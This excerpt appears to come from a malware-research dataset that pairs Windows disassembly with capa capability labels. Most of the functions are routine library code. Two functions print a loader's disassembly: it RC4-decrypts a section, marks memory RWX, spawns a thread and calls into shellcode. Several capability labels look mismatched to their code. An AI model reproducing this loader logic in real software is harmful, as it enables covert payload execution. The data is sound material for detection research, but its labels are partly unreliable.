joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1003f790
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x2c
push ebx
mov ebx, dword [esp + 0x3c]
xor edx, edx
push ebp
mov ecx, ebx
mov dword [esp + 0xc], 1
neg ecx
mov dword [esp + 8], 0
mov eax, ecx
mov dword [esp + 0x1c], ebx
xor ebp, ebp
bts ebp, eax
cmp eax, 0x20
push esi
cmovae edx, ebp
xor ebp, edx
cmp eax, 0x40
mov eax, dword [esp + 0x3c]
cmovae edx, ebp
mov dword [esp + 0x34], ebp
mov dword [esp + 0x24], edx
mov edx, dword [esp + 0x40]
push edi
call fcn.10053860
mov edx, dword [esp + 0x28]
mov ecx, eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x18], ecx
push eax
add ebp, 0xffffffff
lea eax, [esp + 0x24]
push eax
adc edx, 0xffffffff
mov dword [esp + 0x38], ebp
and ebp, dword [esp + 0x48]
lea eax, [ebx + 0x40]
mov dword [esp + 0x3c], edx
and edx, dword [esp + 0x4c]
push eax
push ecx
mov dword [esp + 0x2c], edx
call fcn.1003ea20
mov ebx, dword [esp + 0x70]
add esp, 0x10
mov ecx, dword [esp + 0x5c]
mov eax, dword [esp + 0x2c]
mov esi, dword [esp + 0x50]
mov edi, dword [esp + 0x20]
mov dword [ebx], eax
mov dword [ecx], 0
cmp dword [ebx], 0
jle 0x1003f875
nop dword [eax + eax]
mov eax, dword [esp + 0x18]
xor edx, edx
div edi
mov dword [esp + 0x18], edx
add al, 0x30
mov edx, dword [ecx]
mov ecx, dword [esp + 0x54]
mov byte [ecx + edx], al
mov ecx, dword [esp + 0x5c]
inc dword [ecx]
dec dword [ebx]
sub esi, 1
je 0x1003f879
mov eax, 0xcccccccd
mul edi
mov edi, edx
shr edi, 3
cmp dword [ebx], 0
jg 0x1003f840
test esi, esi
jne 0x1003f8b1
mov esi, dword [esp + 0x24]
mov eax, edi
push ebx
push 0
neg esi
xor edx, edx
push 1
mov ecx, esi
call fcn.10053770
push edx
push eax
mov eax, dword [esp + 0x2c]
xor edx, edx
mov ecx, esi
call fcn.10053770
add eax, ebp
adc edx, dword [esp + 0x30]
push edx
mov edx, dword [esp + 0x74]
push eax
push dword [edx]
jmp 0x1003f971
mov edi, dword [esp + 0x1c]
jle 0x1003f94f
nop dword [eax + eax]
mov eax, dword [esp + 0x10]
cmp edi, eax
jb 0x1003f951
mov edx, dword [esp + 0x14]
ja 0x1003f8d6
cmp ebp, edx
jbe 0x1003f951
mov eax, ebp
mov ecx, edi
shld ecx, eax, 2
shl eax, 2
add ebp, eax
mov eax, edx
adc edi, ecx
mov ecx, dword [esp + 0x10]
mov dword [esp + 0x10], ecx
shld ecx, eax, 2
shld edi, ebp, 1
shl eax, 2
add ebp, ebp
add edx, eax
mov eax, dword [esp + 0x10]
adc eax, ecx
mov ecx, dword [esp + 0x24]
shld eax, edx, 1
neg ecx
add edx, edx
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], edx
mov eax, ebp
mov edx, edi
call fcn.10053860
mov edx, dword [esp + 0x5c]
add al, 0x30
mov ecx, dword [esp + 0x54]
dec esi
and ebp, dword [esp + 0x30]
and edi, dword [esp + 0x34]
mov edx, dword [edx]
mov byte [ecx + edx], al
mov ecx, dword [esp + 0x5c]
inc dword [ecx]
dec dword [ebx]
test esi, esi
jg 0x1003f8c0
mov eax, dword [esp + 0x10]
jmp 0x1003f951
xor eax, eax
test esi, esi
je 0x1003f95f
pop edi
pop esi
pop ebp
xor al, al
pop ebx
add esp, 0x2c
ret
push ebx
push eax
push dword [esp + 0x1c]
push dword [esp + 0x34]
push dword [esp + 0x48]
push edi
push ebp
push dword [ecx]
push dword [esp + 0x78]
push dword [esp + 0x78]
call fcn.10041f90
add esp, 0x28
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2c
ret
Function at 0x100442b0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081d41
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x6c
lea eax, [ebp - 0x10]
mov dword [ebp - 0x14], 0
push eax
lea eax, [ebp - 0x4c]
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x10], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x10044331
push 0x18
push str.Cannot_get_computer_name
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], eax
mov byte [ebp - 0x2c], al
call fcn.10002bd0
push 0
lea eax, [ebp - 0x2c]
mov dword [ebp - 4], 1
push eax
lea ecx, [ebp - 0x78]
call fcn.10023830
push 0x100bc984
lea eax, [ebp - 0x78]
push eax
call fcn.1005d2ad
push esi
mov esi, dword [ebp + 8]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x1004435b
mov eax, dword [esi]
jmp 0x1004435d
mov eax, esi
mov byte [eax], 0
lea eax, [ebp - 0x4c]
mov dword [ebp - 4], 0
push esi
push eax
mov dword [ebp - 0x14], 1
call fcn.10027f80
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x10044d90
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10081e39
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
mov dword [ebp - 0x10], 0
push esi
mov esi, dword [ebp + 8]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x10044ddc
mov eax, dword [esi]
jmp 0x10044dde
mov eax, esi
push ebx
push edi
mov byte [eax], 0
push 0
push 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ebx, eax
test ebx, ebx
je 0x10044e99
xor ecx, ecx
mov dword [ebp - 0x20], ebx
mov edx, 2
mov dword [ebp - 0x1c], ebx
mul edx
mov byte [ebp - 0x14], 1
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.10052d61
mov edi, eax
add esp, 4
mov dword [ebp - 0x18], edi
push edi
push ebx
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
test eax, eax
je 0x10044e8c
cmp eax, ebx
ja 0x10044e8c
push esi
push edi
call fcn.10027f80
mov ecx, dword [esi + 0x10]
add esp, 8
cmp dword [esi + 0x14], 0x10
jb 0x10044e5b
mov eax, dword [esi]
jmp 0x10044e5d
mov eax, esi
cmp byte [eax + ecx - 1], 0x5c
je 0x10044e70
push 0x100aced8
mov ecx, esi
call fcn.100074b0
push edi
call fcn.10052d5c
mov ecx, dword [ebp - 0xc]
add esp, 4
mov eax, esi
mov dword fs:[0], ecx
pop edi
pop ebx
pop esi
mov esp, ebp
pop ebp
ret
push edi
mov byte [ebp - 4], 0
call fcn.10052d5c
add esp, 4
push 0x1c
push str.Cannot_get_current_directory
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x14], 0xf
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
call fcn.10002bd0
push 0
lea eax, [ebp - 0x28]
mov dword [ebp - 4], 2
push eax
lea ecx, [ebp - 0x54]
call fcn.10023830
push 0x100bc984
lea eax, [ebp - 0x54]
push eax
call fcn.1005d2ad
int3
Function at 0x10046630
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082098
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x48
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x10], edi
call fcn.1000a640
push 0x400
mov dword [ebp - 4], 0
mov dword [edi], vtable.Poco::BasicBufferedStreamBuf_char__struct_std::char_traits_char___class_Poco::BufferAllocator_char__.0
mov dword [edi + 0x38], 0x400
mov dword [edi + 0x3c], 0
call fcn.10052d61
mov dword [edi + 0x40], eax
mov dword [edi + 0x44], 2
lea ecx, [eax + 4]
mov eax, dword [edi + 0xc]
mov dword [eax], ecx
mov eax, dword [edi + 0x1c]
mov dword [eax], ecx
sub ecx, ecx
mov eax, dword [edi + 0x2c]
mov dword [eax], ecx
mov eax, dword [edi + 0x10]
mov ecx, dword [edi + 0x40]
mov edx, dword [edi + 0x38]
add edx, ecx
mov dword [eax], ecx
sub edx, ecx
mov eax, dword [edi + 0x20]
mov dword [eax], ecx
mov eax, dword [edi + 0x30]
mov dword [eax], edx
mov eax, dword [ebp + 8]
lea esi, [edi + 0x54]
push 0x8000
mov dword [ebp - 4], 1
mov dword [edi], vtable.Poco::DeflatingStreamBuf.0
mov dword [edi + 0x48], 0
mov dword [edi + 0x4c], eax
mov byte [edi + 0x8c], 0
mov dword [edi + 0x74], 0
mov dword [edi + 0x78], 0
mov dword [edi + 0x7c], 0
mov dword [esi], 0
mov dword [edi + 0x58], 0
mov dword [edi + 0x60], 0
mov dword [edi + 0x64], 0
call fcn.10052d61
cmp dword [ebp + 0xc], 1
mov ecx, 0x1f
push 0x38
push str.1.2.11
push 0
mov dword [edi + 0x50], eax
mov eax, 0xf
push 8
cmove eax, ecx
push eax
push 8
push dword [ebp + 0x10]
push esi
call fcn.1004ad00
mov esi, eax
add esp, 0x28
test esi, esi
je 0x100467ab
push dword [edi + 0x50]
call fcn.10052d5c
push esi
call fcn.1004b980
mov edx, eax
mov dword [ebp - 0x14], 0xf
add esp, 8
mov dword [ebp - 0x18], 0
mov byte [ebp - 0x28], 0
cmp byte [edx], 0
jne 0x10046773
xor ecx, ecx
jmp 0x10046781
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10046778
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x28]
call fcn.10002bd0
push 0
lea eax, [ebp - 0x28]
mov byte [ebp - 4], 2
push eax
lea ecx, [ebp - 0x54]
call fcn.10023130
push 0x100b755c
lea eax, [ebp - 0x54]
push eax
call fcn.1005d2ad
mov ecx, dword [ebp - 0xc]
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10047b30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100822b8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
call fcn.1000a640
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
push edx
mov dword [ebp - 4], 0
mov dword [esi], vtable.Poco::BasicBufferedBidirectionalStreamBuf_char__struct_std::char_traits_char___class_Poco::BufferAllocator_char__.0
mov dword [esi + 0x38], edx
mov dword [esi + 0x3c], eax
call fcn.10052d61
push dword [esi + 0x38]
mov dword [esi + 0x40], eax
call fcn.10052d61
mov ecx, dword [esi + 0x40]
add esp, 8
mov dword [esi + 0x44], eax
add ecx, 4
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x48], eax
mov eax, dword [esi + 0xc]
mov dword [eax], ecx
mov eax, dword [esi + 0x1c]
mov dword [eax], ecx
sub ecx, ecx
mov eax, dword [esi + 0x2c]
mov dword [eax], ecx
mov eax, dword [esi + 0x10]
mov ecx, dword [esi + 0x44]
mov edx, dword [esi + 0x38]
add edx, ecx
mov dword [eax], ecx
sub edx, ecx
mov eax, dword [esi + 0x20]
mov dword [eax], ecx
mov eax, dword [esi + 0x30]
mov ecx, dword [ebp - 0xc]
mov dword [eax], edx
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x10048520
Capabilities:
Read file on windows

Disassembly:
push ecx
push esi
mov esi, ecx
cmp dword [esi + 0x68], 0xffffffff
je 0x1004857a
mov eax, dword [esi + 0x48]
test al, 1
je 0x1004857a
test al, 2
je 0x1004853a
mov eax, dword [esi]
call dword [eax + 0x34]
push 0
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push dword [esp + 0x18]
push dword [esp + 0x18]
push dword [esi + 0x68]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1004856a
lea eax, [esi + 0x50]
push eax
call fcn.10031fe0
add esp, 4
mov eax, dword [esp + 4]
add dword [esi + 0x70], eax
adc dword [esi + 0x74], 0
pop esi
pop ecx
ret 0xc
or eax, 0xffffffff
pop esi
pop ecx
ret 0xc

Function at 0x100488b0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0xc
push esi
mov esi, ecx
mov ecx, dword [esi + 0x68]
cmp ecx, 0xffffffff
je 0x10048959
mov eax, dword [esi + 0x48]
test al, 2
je 0x10048959
test al, 8
je 0x10048917
push 2
lea eax, [esp + 0x10]
xorps xmm0, xmm0
push eax
push 0
push ecx
movlpd qword [esp + 0x18], xmm0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [esp + 8], eax
cmp eax, 0xffffffff
jne 0x1004890d
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10048909
lea eax, [esi + 0x50]
push eax
call fcn.10031fe0
add esp, 4
mov eax, dword [esp + 8]
mov dword [esi + 0x70], eax
mov eax, dword [esp + 0xc]
mov dword [esi + 0x74], eax
push 0
lea eax, [esp + 8]
mov dword [esp + 8], 0
push eax
push dword [esp + 0x20]
push dword [esp + 0x20]
push dword [esi + 0x68]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x10048947
lea eax, [esi + 0x50]
push eax
call fcn.10031fe0
add esp, 4
mov eax, dword [esp + 4]
add dword [esi + 0x70], eax
adc dword [esi + 0x74], 0
pop esi
add esp, 0xc
ret 0xc
or eax, 0xffffffff
pop esi
add esp, 0xc
ret 0xc
Function at 0x10048ae0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10082458
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
call fcn.1000a640
mov eax, dword [esi + 0xc]
mov dword [esi + 0x38], 0xffffffff
mov byte [esi + 0x3c], 0
mov dword [eax], 0
mov eax, dword [esi + 0x1c]
mov dword [eax], 0
mov eax, dword [esi + 0x2c]
mov dword [eax], 0
mov eax, dword [esi + 0x10]
mov dword [eax], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov eax, dword [esi + 0x30]
mov dword [eax], 0
mov eax, dword [ebp + 8]
lea ecx, [esi + 0x48]
push 0xffffffffffffffff
mov dword [esi], vtable.Poco::LineEndingConverterStreamBuf.0
mov dword [esi + 0x40], eax
mov dword [esi + 0x44], 0
push 0
mov dword [esi + 0x5c], 0xf
mov dword [esi + 0x58], 0
push 0x100c245c
mov dword [ebp - 4], 0
mov byte [esi + 0x48], 0
call fcn.10002cd0
mov dword [esi + 0x60], 0
mov byte [esi + 0x64], 0
cmp dword [esi + 0x5c], 0x10
jb 0x10048b99
mov ecx, dword [esi + 0x48]
jmp 0x10048b9c
lea ecx, [esi + 0x48]
mov eax, dword [esi + 0x58]
add eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword [esi + 0x60], eax
mov eax, esi
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
Function at 0x10077057
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.10076d17
Function at 0x1006500
Capabilities:
Check if file exists
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x208
push esi
push edi
mov edi, dword [ebp + 8]
push 0x104
lea eax, [ebp - 0x208]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x1006598
mov esi, dword [ebp + 0xc]
mov ecx, esi
lea eax, [ebp - 0x208]
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x1006558
test dx, dx
je 0x1006554
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x1006558
add eax, 4
add ecx, 4
test dx, dx
jne 0x1006532
xor eax, eax
jmp 0x100655d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x100656e
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret 8
mov edx, dword [sym.imp.msvcrt.dll__iob]
push esi
lea ecx, [ebp - 0x208]
push ecx
push edi
add edx, 0x40
push 0x10048a0
push edx
call fcn.01006330
add esp, 0x14
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x10065ad
push 0x1004850
call fcn.010063b0
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x100a120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x100a133
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x100a12f
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x100a160
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x100a19f
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x100a195
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x100a1a1
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x100a185
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x40190b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x20c
mov eax, dword [0x425040]
xor eax, esp
mov dword [esp + 0x204], eax
push ebx
push ebp
push esi
push edi
xor edi, edi
mov ebp, 0x100
mov ecx, edi
xor edx, edx
mov byte [esp + ecx + 0x10], cl
push 0x21
mov eax, ecx
pop esi
div esi
mov al, byte [edx + 0x46acb0]
mov byte [esp + ecx + 0x110], al
inc ecx
cmp ecx, ebp
jl 0x40192c
mov esi, edi
mov ebx, edi
mov dl, byte [esp + esi + 0x10]
movzx eax, byte [esp + esi + 0x110]
add ebx, eax
movzx ecx, dl
add ebx, ecx
and ebx, 0x800000ff
jns 0x401972
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + esi + 0x10], al
inc esi
mov byte [esp + ebx + 0x10], dl
cmp esi, ebp
jl 0x40194f
mov ebx, edi
mov ebp, edi
inc edi
and edi, 0x800000ff
jns 0x401998
dec edi
or edi, 0xffffff00
inc edi
mov cl, byte [esp + edi + 0x10]
movzx esi, cl
add ebx, esi
and ebx, 0x800000ff
jns 0x4019b1
dec ebx
or ebx, 0xffffff00
inc ebx
mov al, byte [esp + ebx + 0x10]
mov byte [esp + edi + 0x10], al
mov byte [esp + ebx + 0x10], cl
call fcn.00401f03
push eax
call fcn.004020c6
movzx eax, byte [esp + edi + 0x14]
add eax, esi
movzx eax, al
pop ecx
mov al, byte [esp + eax + 0x10]
xor byte [ebp + section..Right], al
inc ebp
cmp ebp, 0x43800
jl 0x401987
mov ecx, dword [esp + 0x214]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004047e0
add esp, 0x20c
ret

Function at 0x401c18
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [0x425040]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x422e88
lea ecx, [ebp - 0x1c]
call fcn.00401d07
push 0xc
call fcn.004047f3
pop ecx
lea ecx, [ebp - 0x1c]
push ecx
mov ecx, eax
call fcn.004019ff
mov eax, dword [eax + 4]
shl eax, 2
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push 0x40
push 0x4ac
push 0x46a800
call dword [sym.imp.KERNEL32.DLL_VirtualProtect]
xor eax, eax
push eax
push eax
push eax
push 0x401bdd
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.DLL_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push ecx
push ecx
call fcn.0040190b
pop ecx
pop ecx
mov edx, 0x46a800
add edx, 0x188
mov esi, section..Right
push esi
call edx
lea ecx, [ebp - 0x1c]
call fcn.00401d94
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
pop esi
call fcn.004047e0
leave
ret

Function at 0x404f90
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleW]
test eax, eax
je 0x404fcf
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x404fcf
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x404fcf
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x404fcf
cmp dword [ecx + 0x74], 0xe
jbe 0x404fcf
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x12172d10
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
push 8
call dword [sym.imp.kernel32.dll_SetLastError]
mov eax, dword [ebp + 0x14]
push eax
push 0
call fcn.121758f0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x12172d47
jmp 0x12172d7e
mov ecx, dword [ebp + 0x14]
push ecx
mov edx, dword [ebp - 4]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.kernel32.dll_GetLocaleInfoA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x12172d7e
mov edx, dword [ebp + 0x14]
push edx
mov eax, dword [ebp + 0x10]
push eax
push 0xffffffffffffffff
mov ecx, dword [ebp - 4]
push ecx
push 0
push 0
call dword [sym.imp.kernel32.dll_MultiByteToWideChar]
cmp dword [ebp - 4], 0
je 0x12172d8e
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.kernel32.dll_GlobalFree]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 0x10
Function at 0x121747c0
Capabilities:
Execute command

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 8], 0
cmp dword [0x1219be5c], 0
je 0x121747ee
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.MSVCR71.dll__wsystem]
add esp, 4
jmp 0x1217482e
cmp dword [ebp + 8], 0
je 0x1217480b
mov ecx, dword [ebp + 8]
push ecx
call fcn.121758f0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x1217480b
jmp 0x1217481b
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.MSVCR71.dll_system]
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x1217482b
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret

Function at 0x12174840
Capabilities:
Move file

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 8], 0xffffffff
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 0
cmp dword [0x1219be5c], 0
je 0x12174878
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call sub.MSVCR71.dll__wrename
add esp, 8
jmp 0x121748dd
mov edx, dword [ebp + 8]
push edx
call fcn.121758f0
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x1217488f
jmp 0x121748ba
mov eax, dword [ebp + 0xc]
push eax
call fcn.121758f0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x121748a6
jmp 0x121748ba
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.MSVCR71.dll_rename]
add esp, 8
mov dword [ebp - 8], eax
cmp dword [ebp - 0xc], 0
je 0x121748ca
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
cmp dword [ebp - 4], 0
je 0x121748da
mov ecx, dword [ebp - 4]
push ecx
call dword [sym.imp.kernel32.dll_GlobalFree]
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x12174a30
Capabilities:
Create process on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
mov dword [ebp - 0x14], 0
mov dword [ebp - 8], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
push 8
call dword [sym.imp.kernel32.dll_SetLastError]
cmp dword [ebp + 0xc], 0
je 0x12174a80
mov eax, dword [ebp + 0xc]
push eax
call fcn.121758f0
add esp, 4
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x12174a80
jmp 0x12174af8
cmp dword [ebp + 0x10], 0
je 0x12174a9d
mov ecx, dword [ebp + 0x10]
push ecx
call fcn.121758f0
add esp, 4
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x12174a9d
jmp 0x12174af8
cmp dword [ebp + 0x14], 0
je 0x12174aba
mov edx, dword [ebp + 0x14]
push edx
call fcn.121758f0
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x12174aba
jmp 0x12174af8
cmp dword [ebp + 0x18], 0
je 0x12174ad7
mov eax, dword [ebp + 0x18]
push eax
call fcn.121758f0
add esp, 4
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x12174ad7
jmp 0x12174af8
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp - 0xc]
push edx
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [ebp - 4]
push ecx
mov edx, dword [ebp - 8]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 8], 0
je 0x12174b08
mov ecx, dword [ebp - 8]
push ecx
call dword [sym.imp.kernel32.dll_GlobalFree]
cmp dword [ebp - 4], 0
je 0x12174b18
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.kernel32.dll_GlobalFree]
cmp dword [ebp - 0x10], 0
je 0x12174b28
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.kernel32.dll_GlobalFree]
cmp dword [ebp - 0xc], 0
je 0x12174b38
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.kernel32.dll_GlobalFree]
mov eax, dword [ebp - 0x14]
mov esp, ebp
pop ebp
ret 0x18